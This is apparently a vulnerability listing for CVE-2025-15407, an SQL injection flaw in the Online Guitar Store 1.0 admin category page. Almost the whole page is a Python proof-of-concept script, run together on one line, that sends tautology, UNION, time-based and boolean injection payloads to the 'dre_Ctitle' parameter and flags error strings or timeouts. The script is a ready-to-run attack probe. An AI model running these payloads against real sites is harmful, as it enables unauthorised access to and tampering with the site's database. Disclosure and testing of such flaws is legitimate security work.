CVE-2025-15407 Online Guitar Store 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15407 SQL Injection PoC # Target: Online Guitar Store 1.0 # File: /admin/Create_category.php # Parameter: dre_Ctitle def sql_injection_test(target_url): """ SQL Injection vulnerability test for CVE-2025-15407 Target parameter: dre_Ctitle """ # Normal request normal_data = { 'dre_Ctitle': 'Test Category' } # SQL Injection payloads payloads = [ "' OR '1'='1", # Basic authentication bypass "' UNION SELECT NULL--", # Union-based injection "' AND SLEEP(5)--", # Time-based blind injection "' OR 1=1 LIMIT 1--" # Boolean-based injection ] print(f"[*] Testing target: {target_url}") print(f"[*] Target file: /admin/Create_category.php") print(f"[*] Vulnerable parameter: dre_Ctitle\n") # Test normal request try: response = requests.post(target_url, data=normal_data, timeout=10) print(f"[+] Normal request status: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Test SQL injection payloads print("[*] Testing SQL injection payloads...") for i, payload in enumerate(payloads, 1): injection_data = {'dre_Ctitle': payload} try: response = requests.post(target_url, data=injection_data, timeout=15) print(f"[PAYLOAD {i}] {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f" [!] Potential SQL error detected!") print() except requests.Timeout: print(f"[PAYLOAD {i}] {payload}") print(f" [!] Timeout - possible time-based blind injection") print() except requests.RequestException as e: print(f"[-] Payload {i} failed: {e}") print("[*] Test completed. Manual verification recommended.") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-site.com/admin/Create_category.php" sql_injection_test(target)